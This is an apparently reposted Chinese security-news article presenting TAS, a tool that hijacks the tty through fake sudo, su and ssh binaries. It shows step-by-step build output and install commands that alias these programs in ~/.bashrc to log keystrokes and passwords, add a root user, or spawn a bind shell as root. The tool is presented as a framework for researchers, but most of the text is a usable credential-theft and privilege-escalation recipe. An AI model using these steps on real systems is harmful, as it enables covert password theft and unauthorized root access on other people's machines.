

TAS:一款轻量级tty修改与代码伪造框架
source link: https://www.freebuf.com/articles/network/226575.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

TAS是一款轻量级框架,在它的帮助下,研究人员可以轻松修改tty并创建伪造的代码。
该框架拥有三个主要函数,即tas_execv、tas_forkpty和tas_tty_loop:
1、tas_execv:这个函数的作用跟execv类似,但是它并不会重新执行当前代码,这对于创建伪造代码来说非常有用;
2、tas_forkpty:这个函数跟forkpty一样,不过它会自动填充自定义结构体,检查forkpty操作页并获取详细信息;
3、tas_tty_loop:这个函数负责对tty进行修改操作,我们可以针对输入和输出数据设置钩子函数,这样就可以获取到用户输入的击键数据或修改终端输出结果( leet-shell )。
如果你需要深入了解TAS的工作机制,可以通过查看本项目的“tas/fakebins/fun”目录以获取更多信息。
伪造代码
通过修改PATH环境变量,或使用Bash的Aliases(或其他支持Aliases的Shell),你就可以直接运行其他程序,而无需运行用户真正要运行的那个程序。这样一来,我们就可以捕捉到目标用户的键盘击键数据,并修改命令行来改变原始程序的行为。
修改某些程序的命令行,例如sudo和su,将会帮助我们在目标设备上实现提权。
为了方便大家理解和使用TAS,我专门创建了三个示例程序来演示该框架的功能,即sudo、su和generic-keylogger。
generic-keylogger
generic-keylogger,正如其名字所示,它可以被当作键盘记录器来使用,而我们在这里主要利用它来获取类似ssh和mysql这类程序的密码。
sudo/su
当然了,它也可以被当作键盘记录器来使用,或者你也能够以root权限来运行某些功能模块(通过修改命令行)。
Cmd修改步骤
首先,目标用户输入并运行下列命令:
sudo cmd
此时,实际运行的命令如下:
fakesudo cmd
其中,fakesudo将会执行下列命令:
sudo fakesudo cmd
以root权限运行上述命令之后,fakesudo将会创建一个子进程来执行其中的部分功能模块,并且在进程的主PID中,它会运行原始命令。注意,如果用户运行的命令是sudo cmd [args]的话,fakesudo才会修改命令,如果添加了额外的命令运行参数,那么命令将无法被修改。
如果使用的是su,那么情况跟sudo的差不多。
首先,目标用户输入并运行下列命令:
Su -
此时,实际运行的命令如下:
fakesu -
其中,fakesudo将会执行下列命令:
su - -c fakesu
以root权限运行上述命令之后,fakesu将会创建一个子进程来执行其中的部分功能模块,并且在进程的主PID中,它会运行bash -i命令。
注意:只有当用户运行su或su -时,fakesu才会修改命令,如果如果添加了额外的命令运行参数,那么命令将无法被修改。
功能模块
目前,该工具只有下列三个功能模块:
1、add-root-user:使用/etc/passwd中的密码创建一个root用户; 2、bind-shell:监听传入的连接,并生成一个tty shell; 3、system:以root权限执行命令;
项目下载
广大研究人员可以使用下列命令将项目源码克隆至本地:
git clone https://github.com/hc0d3r/tas.git
项目构建
首先,我们需要构建项目基库:
$ make CC .obj/globals.o CC .obj/getinode.o CC .obj/tas-execv.o CC .obj/tty.o CC .obj/xreadlink.o AR .obj/libtas.a
接下来,我们还需要运行下列命令构建sudo、su和generic-keylogger:
make [target-bin]
构建样例:
$ make su make[1]: Entering directory '/home/test/tas/fakebins/su' [+] configuring fakesu ... enable keylogger? [y/N] y number of lines to record [empty = store all]: logfile (default: /tmp/.keys.txt): use some FUN modules? [y/N] n [+] configuration file created in /home/test/tas/fakebins/su/config.h CC su make[1]: Leaving directory '/home/test/tas/fakebins/su'
工具使用样例
创建一个fakessh
编译:
$ make generic-keylogger make[1]: Entering directory '/home/test/tas/fakebins/generic-keylogger' [+] configuring generic-keylogger ... number of lines to record [empty = store all]: 3 logfile (default: /tmp/.keys.txt): [+] configuration file created in /home/test/tas/fakebins/generic-keylogger/config.h CC generic-keylogger make[1]: Leaving directory '/home/test/tas/fakebins/generic-keylogger'
安装:
$ mkdir ~/.bin $ cp generic-keylogger ~/.bin/ssh $ echo "alias ssh='$HOME/.bin/ssh'" >> ~/.bashrc
演示:
使用bind-shell模块
编译:
make[1]: Entering directory '/home/test/tas/fakebins/sudo' [+] configuring fakesudo ... enable keylogger? [y/N] n use some FUN modules? [y/N] y [1] add-root-user [2] bind-shell [3] system [4] cancel > 2 listen port (Default: 1337): 5992 [+] configuration file created in /home/test/tas/fakebins/sudo/config.h CC sudo make[1]: Leaving directory '/home/test/tas/fakebins/sudo'
安装:
$ cp sudo ~/.sudo $ echo "alias sudo='$HOME/.sudo'" >> ~/.bashrc
演示:
leet-shell
在leet-shell这个使用样例中,你可以修改tty输出,它将允许你使用bash(类似1337 h4x0r):
[test@alfheim tas]$ make fun/leet-shell CC fun/leet-shell [t3st@alfheim tas]$ fun/leet-shell SP4WN1NG L33T SH3LL H3R3 !!! [t3st@4lfh31m t4s]$ 3ch0 'l33t sh3ll 1s l33t !!!' l33t sh3ll 1s l33t !!!
项目地址
TAS:【 GitHub传送门 】
* 参考来源: hc0d3r ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
Recommend
-
40
Excel-Boot是一款Excel导入导出解决方案组成的轻量级开源组件。 如果喜欢或愿意使用, 请star本项目或者点击donate图标捐赠我们
-
60
nps nps是一款轻量级、高性能、功能强大的 内网穿透 代理服务器。目前支持 tcp、udp流量转发 ,可支持任何 tcp、udp 上层协议(访问内网网站、本地支付接口调试、ssh访问...
-
12
如何实现一款轻量级的可视化画布引擎阿里巴巴集团 前端工程师在很多定制化的可视化场景中,拖拽、缩放、全屏操作必不可少,尤其对于业务复杂的可视化需求,当画布内容足够多,可视...
-
9
Viper 浏览器是一个基于 Qt 的浏览器,它提供了简单易用的用户体验,同时考虑到隐私问题。 来源: https:// li...
-
2
一款炫酷、轻量级性能监控系统发布于 8 月 17 日对于监控平台,民工哥在以往的文章中介绍过太多太多,细心的读者都发现了。不过,话说回来,监控系统对于任...
-
3
做过web端编辑器的前端同仁们,或多或少都会接触标尺插件,类似于ps或PPT这些软件中的插件。比较老的web插件比如jqury的,会产生很多dom,于是写了1个用纯TS和canvas绘制的标尺,不依赖任何第三方库。文档即使用方法如下,欢迎使用,贡献以及提issue!
-
2
重磅推荐:一款轻量级的、开源的在线项目任务管理系统非著名程序员公众号「非著名程序员」主理人,程序员/复业者/生涯规划师...
-
7
0:00 / 13:56 ...
-
10
Django框架 一、csrf跨站请求伪造 csrf是django默认中间件中的一道,它用于验证网页的真伪性,通过在在前端页面设置csrf_token令牌,这样转递到后端的信息将会在csrf中间...
-
6
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK